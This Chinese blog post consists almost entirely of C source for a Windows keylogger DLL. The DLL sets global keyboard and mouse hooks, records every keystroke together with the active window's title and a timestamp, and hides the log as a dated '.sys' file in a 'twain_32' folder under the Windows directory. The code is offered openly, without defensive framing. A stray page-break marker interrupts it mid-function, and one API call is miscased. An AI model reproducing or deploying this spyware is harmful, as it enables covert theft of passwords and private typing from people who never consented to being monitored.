纠缠千年的执念,和那碗汤遗忘的决绝。是我们辜负了缘分,还是缘分辜负了我们?

手写键盘记录器代码

技术文档 5094浏览 0评论

手写键盘记录器代码

#include <stdio.h>
#include "windows.h"
#include "time.h"
#pragma comment(linker, "/OPT:NOWIN98")
char KeyBuffer[512];
//---------------------------------------------------------------------------
HOOKPROC KeyboardProc(int iCode,WPARAM wParam,LPARAM lParam);

//钩子变量
#pragma data_seg ("shared")
static HHOOK g_hLogHook=NULL;
static HHOOK g_mhook=NULL;
#pragma data_seg ()
#pragma comment(linker,"/SECTION:shared,RWS")

//记录上一次得到焦点的窗口句柄
int counter=0;
HWND g_hLastFocus=NULL;
HWND hFocus=NULL;
//键盘掩码变量
HINSTANCE g_hHinstance;
char szTitle[256]; //当前窗口名称
char szTime[128];
char LogPath[MAX_PATH];
const int KeyPressMask=0x80000000;

HOOKPROC KeyboardProc(int iCode,WPARAM wParam,LPARAM lParam);
HOOKPROC MouseProc(int iCode,WPARAM wParam,LPARAM lParam);
bool InstallHook();
DWORD WINAPI MyMain(LPVOID x);

BOOL APIENTRY DllMain( HANDLE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch(ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
g_hHinstance = HINSTANCE(hModule);
DWORD threadid;
counter++;
if (counter==1)
createThread(NULL,0,MyMain,(LPVOID)NULL,0,&threadid);
else
return 0;
break;
case DLL_PROCESS_DETACH:
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
}
return 1;
}

DWORD WINAPI MyMain(LPVOID x)
{
MSG msg;
time_t ltime;
char tmpbuf[128];
struct tm *today;
GetWindowsDirectory(LogPath,MAX_PATH);
strcat(LogPath,"\\twain_32\\");
time(&ltime);
today = localtime( &ltime );
strftime(tmpbuf,128,"%Y%m%d",today);
strcat(LogPath,tmpbuf);
strcat(LogPath,".sys");
InstallHook();
while (GetMessage (&msg, NULL, 0, 0))
{
TranslateMessage (&msg) ;
DispatchMessage (&msg) ;
}
return msg.wParam ;
}

bool InstallHook()
{

if(g_hLogHook==NULL)
{
g_hLogHook=SetWindowsHookEx(WH_KEYBOARD,(HOOKPROC)KeyboardProc,g_hHinstance,0);
g_mhook=SetWindowsHookEx(WH_MOUSE,(HOOKPROC)MouseProc,g_hHinstance,0);
}
if(g_hLogHook!=NULL && g_mhook!=NULL)
{
//MessageBox(NULL,"SUCCEED","SUCCEED",MB_OK);
memset(KeyBuffer,0,sizeof(KeyBuffer));
return true;
}
else
{
//MessageBox(NULL,"fail","failed",MB_OK);
return false;
}
}

void UnHook()
{
UnhookWindowsHookEx(g_hLogHook);
UnhookWindowsHookEx(g_mhook);
g_hLogHook=NULL;
g_mhook=NULL;
}

bool WriteLog(int a)
{
time_t ltime;
struct tm *today;
//MOUSEHOOKSTRUCT *pmouse;
time(&ltime);
today = localtime( &ltime );
hFocus=GetForegroundWindow(); //获得活动窗口的句柄
//hFocus=pmouse->hwnd;
if (a==1)
{
FILE *stream=fopen(LogPath,"a+");
GetWindowText(g_hLastFocus,szTitle,256); //取得一个窗体的标题
g_hLastFocus=hFocus;
if (strlen(KeyBuffer)>0)
{
strftime(szTime,128,"%Y-%m-%d %H:%M:%S",today);
fprintf(stream,"\r\n\r\n---------------------------------------------%s %s-----------------------------------\r\n",szTitle,szTime);
fprintf(stream,"%s",KeyBuffer);
memset(KeyBuffer,0,sizeof(KeyBuffer));
}
fclose(stream);
}

if(g_hLastFocus!=hFocus)
{
FILE *stream=fopen(LogPath,"a+");
GetWindowText(g_hLastFocus,szTitle,256); //取得一个窗体的标题
g_hLastFocus=hFocus;
if (strlen(KeyBuffer)>0)
{
strftime(szTime,128,"%Y-%m-%d %H:%M:%S",today);
fprintf(stream,"\r\n\r\n---------------------------------------------%s %s-----------------------------------\r\n",szTitle,szTime);
fprintf(stream,"%s",KeyBuffer);
memset(KeyBuffer,0,sizeof(KeyBuffer));
}
fclose(stream);
}
return true;
}

HOOKPROC MouseProc(int iCode,WPARAM wParam,LPARAM lParam)
{
if(iCode<0) return (HOOKPROC)CallNextHookEx(g_mhook,iCode,wParam,lParam);
if(wParam==WM_LBUTTONDOWN || wParam==WM_RBUTTONDOWN)
{
WriteLog(0);
}
return (HOOKPROC)CallNextHookEx(g_mhook,iCode,wParam,lParam);
}

HOOKPROC KeyboardProc( int iCode, // hook code
WPARAM wParam, // virtual-key code
LPARAM lParam // keystroke-message information
)
{
if(iCode<0) return (HOOKPROC)CallNextHookEx(g_hLogHook,iCode,wParam,lParam);
if(iCode==HC_ACTION && (GetKeyState(wParam)&0x8000))
{
char TmpBuffer[4];
int vKey=LOBYTE(wParam); //取得虚拟键值
char ch;
char str[10];
int iShift=GetKeyState(0x10);
int iCapital=GetKeyState(0x14);
int iNumLock=GetKeyState(0x90);
bool bShift=(iShift&KeyPressMask)==KeyPressMask;
bool bCapital=(iCapital&1)==1;
bool bNumLock=(iNumLock&1)==1;
if(vKey==9) //TAB
strcat(KeyBuffer,"\t");
if(vKey>=48 && vKey<=57) //数字键0-9
{
if(!bShift)
{
sprintf(TmpBuffer,"%c",vKey);
strcat(KeyBuffer,TmpBuffer);
}
else
{
switch(vKey)
{
case 49:
ch='!';
break;
case 50:
ch='@';
break;
case 51:
ch='#';
break;
case 52:
ch='$';
break;
case 53:
ch='%';
break;
case 54:
ch='^';
break;
case 55:
ch='&';
break;
case 56:
ch='*';
break;
case 57:
ch='(';
break;
case 48:
ch=')';
break;
}

#p#副标题#e#

sprintf(TmpBuffer,"%c",ch);
strcat(KeyBuffer,TmpBuffer);
}
}
if(vKey>=65 && vKey<=90) //A-Z a-z
{
if(!bCapital)
{
if(bShift)
ch=vKey;
else
ch=vKey+32;
}
else if(bShift)
ch=vKey+32;
else
ch=vKey;
sprintf(TmpBuffer,"%c",ch);
strcat(KeyBuffer,TmpBuffer);
}
if(vKey>=96 && vKey<=105) //小键盘0-9
{
if(bNumLock)
{
sprintf(TmpBuffer,"%c",vKey-96+48);
strcat(KeyBuffer,TmpBuffer);
}
}
if(vKey>=186 && vKey<=222) //其它键
{
switch(vKey)
{
case 186:
if (!bShift)
ch=';';
else
ch=':';
break;
case 187:
if (!bShift)
ch='=';
else
ch='+';
break;
case 188:
if (!bShift)
ch=',';
else
ch='<';
break;
case 189:
if (!bShift)
ch='-';
else
ch='_';
break;
case 190:
if (!bShift)
ch='.';
else
ch='>';
break;
case 191:
if (!bShift)
ch='/';
else
ch='?';
break;
case 192:
if (!bShift)
ch='`';
else
ch='~';
break;
case 219:
if (!bShift)
ch='[';
else
ch='{';
break;
case 220:
if (!bShift)
ch='\\';
else
ch='|';
break;
case 221:
if (!bShift)
ch=']';
else
ch='}';
break;
case 222:
if (!bShift)
ch='\'';
else
ch='\"';
break;
default:
ch='n';
break;
}
if (ch!='n' )
sprintf(TmpBuffer,"%c",ch);
strcat(KeyBuffer,TmpBuffer);
} //
if(vKey>=112 && vKey<=123) // 功能键 [F1]-[F12]
{
switch(wParam)
{
case 112:
strcat(KeyBuffer,"[F1]");
break;
case 113:
strcat(KeyBuffer,"[F2]");
break;
case 114:
strcat(KeyBuffer,"[F3]");
break;
case 115:
strcat(KeyBuffer,"[F4]");
break;
case 116:
strcat(KeyBuffer,"[F5]");
break;
case 117:
strcat(KeyBuffer,"[F6]");
break;
case 118:
strcat(KeyBuffer,"[F7]");
break;
case 119:
strcat(KeyBuffer,"[F8]");
break;
case 120:
strcat(KeyBuffer,"[F9]");
break;
case 121:
strcat(KeyBuffer,"[F10]");
break;
case 122:
strcat(KeyBuffer,"[F11]");
break;
case 123:
strcat(KeyBuffer,"[F12]");
break;
}
}
if(vKey==8)
KeyBuffer[strlen(KeyBuffer) - 1] = '\0';
if (vKey>8 && vKey<=46) //方向键
{
switch (vKey)
{
case 9:
strcpy(str,"[Tab]");
break;
case 17:
strcpy(str,"[Ctrl]");
break;
case 13:
strcpy(str,"<Enter>\r\n");
strcat(KeyBuffer,str);
memset(str,0,sizeof(str));
WriteLog(1);
break;
case 27:
strcpy(str,"[Esc]");
break;
case 32:
strcpy(str," ");
break;
case 33:
strcpy(str,"[PageUp]");
break;
case 34:
strcpy(str,"[PageDown]");
break;
case 35:
strcpy(str,"[End]");
break;
case 36:
strcpy(str,"[HOME]");
break;
case 37:
strcpy(str,"←");
break;
case 38:
strcpy(str,"↑");
break;
case 39:
strcpy(str,"→");
break;
case 40:
strcpy(str,"↓");
break;
case 45:
strcpy(str,"[insert]");
break;
case 46:
strcpy(str,"[delete]");
break;
default:
ch='n';
break;
}
if (ch!='n' && strlen(str)>0 )
{
strcat(KeyBuffer,str);
}
}
if (strlen(KeyBuffer)>500)
{
FILE *stream=fopen(LogPath,"a+");
fprintf(stream,"%s",KeyBuffer);
memset(KeyBuffer,0,sizeof(KeyBuffer));
fclose(stream);
}
}
return (HOOKPROC)CallNextHookEx(g_hLogHook,iCode,wParam,lParam);
}

转载请注明:自由的风 » 手写键盘记录器代码

发表我的评论
取消评论

表情

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址